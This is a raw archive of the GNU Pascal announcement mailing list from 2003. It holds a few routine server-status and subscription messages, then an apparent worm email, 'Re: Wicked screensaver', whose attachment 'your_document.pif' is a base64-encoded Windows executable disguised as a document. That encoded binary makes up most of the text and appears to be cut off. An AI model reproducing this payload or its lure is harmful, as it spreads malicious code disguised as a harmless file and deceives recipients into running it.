goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id CAA27980 for ; Sun, 22 Jun 2003 02:46:34 +0200 Date: Sun, 22 Jun 2003 02:46:34 +0200 Message-Id: <200306220046.CAA27980@goedel.fjf.gnu.de> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii Subject: Re: Server upgrade, bad news To: gpc-announce@gnu.de From: Frank Heckenbach X-Mailer: semail 20030303 X-Archive-Number: 200306/4 X-Sequence-Number: 29 The problems on the server seem to be bigger than thought before. Don't expect anything to work until further notice. Frank -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/, 7977168E GPC To-Do list, latest features, fixed bugs: http://www.gnu-pascal.de/todo.html GPC download signing key: 51FF C1F0 1A77 C6C2 4482 4DDC 117A 9773 7F88 1707 From gpc-announce-owner@gnu.de Sun Jun 29 03:56:17 2003 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.35 #1 (Debian)) id 19WROT-0000Ke-00 for ; Sun, 29 Jun 2003 03:54:17 +0200 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id DAA06351 for ; Sun, 29 Jun 2003 03:53:20 +0200 Date: Sun, 29 Jun 2003 03:53:20 +0200 Message-Id: <200306290153.DAA06351@goedel.fjf.gnu.de> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii Subject: Archives working again To: gpc-announce@gnu.de From: Frank Heckenbach X-Mailer: semail 20030303 X-Archive-Number: 200306/5 X-Sequence-Number: 30 The archives of this mailing list and the (experimental) search function on the GPC site should now be working again. Frank -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/, 7977168E GPC To-Do list, latest features, fixed bugs: http://www.gnu-pascal.de/todo.html GPC download signing key: 51FF C1F0 1A77 C6C2 4482 4DDC 117A 9773 7F88 1707 From gpc-announce-owner@gnu.de Wed Aug 27 10:12:36 2003 Received: from smtp801.mail.sc5.yahoo.com ([66.163.168.180]) by adele.gerwinski.de with smtp (Exim 3.35 #1 (Debian)) id 19rO63-0000bc-00 for ; Mon, 25 Aug 2003 22:37:52 +0200 Received: from adsl-67-124-159-29.dsl.pltn13.pacbell.net (HELO pacbell.net) (dcrudy@pacbell.net@67.124.159.29 with plain) by smtp-sbc-v1.mail.vip.sc5.yahoo.com with SMTP; 25 Aug 2003 20:36:14 -0000 Message-ID: <3F4A733F.3070505@pacbell.net> Date: Mon, 25 Aug 2003 13:36:15 -0700 From: Daniel Rudy Reply-To: dcrudy@pacbell.net Organization: SBC Internet Services User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en, ja MIME-Version: 1.0 To: gpc-announce@gnu.de Subject: (no subject) Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Archive-Number: 200308/1 X-Sequence-Number: 31 subscribe gpc-announce dcrudy@pacbell.net -- Daniel Rudy From gpc-announce-owner@gnu.de Wed Aug 27 16:16:21 2003 Received: from [194.214.132.84] (helo=PHOTOCHMSBIS) by adele.gerwinski.de with esmtp (Exim 3.35 #1 (Debian)) id 19s0lU-00041a-00 for ; Wed, 27 Aug 2003 15:55:12 +0200 From: To: Subject: Re: Wicked screensaver Date: Wed, 27 Aug 2003 15:55:16 +0200 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_016C8562" Message-Id: X-Archive-Number: 200308/2 X-Sequence-Number: 32 This is a multipart message in MIME format --_NextPart_000_016C8562 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_016C8562 Content-Type: application/octet-stream; name="your_document.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="your_document.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFt IGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADToEjPl8Em nJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8EmnJTBJpyXwSec BsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQ RQAATAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQ AAAAYAEAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EB AAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAOLrAQCcAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAA AAAAAAAAAAAAAAAAAEAAAMAuc2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAA AAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAASAAAA5gAAAAAAAAAAAAAA AAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAAAEAA AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ACchVndAcNB3L7IthuqUttkbaI5toW/Ma9cREwXJr2bGKxWUSLB1PIIaS01R bFxQRCXoVDbDEpq4Yumyi65HRdpM3Ga7gyB6TAfZ9GeKPkz/gNdHfQo5WyK6 kk3e3416A+3AKPhtFhKaSZkYxFj6+M2xbjOVSCpPharh/VxSm4iVAk4yXUKq 7H+ADGwboJC+fQm8+7jatvO6YUfFxxQOzfY8KTP4vt2InUxuuOl2cfiFELy0 IOsT73kycNOqH03/dY6FypJqffAfOkjFzUMhr8AqN9OCKt0p+TNW9bGP/Kp1 XK6X4Iydu/Wy/xA0A5Zpbl3Gl9/gKIkSvEhLlXfwGYKZSluuaTMQmbpJkKW7 StxmyJ6O/fV9pclS8jV3oWub5MzdvI++mMz3UMdA50acjuzsssWb5XknsOqt K2nhhDya2yRx3g+m84v73khc0k3eTce9rBtzSgflO9Df2PdFTLLYFS/62962 HytiMp2UFAkMMby4jWvloU8xsUAp/4Ws/jc55M/xh5mwSb7B5AtSX9luSglc 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 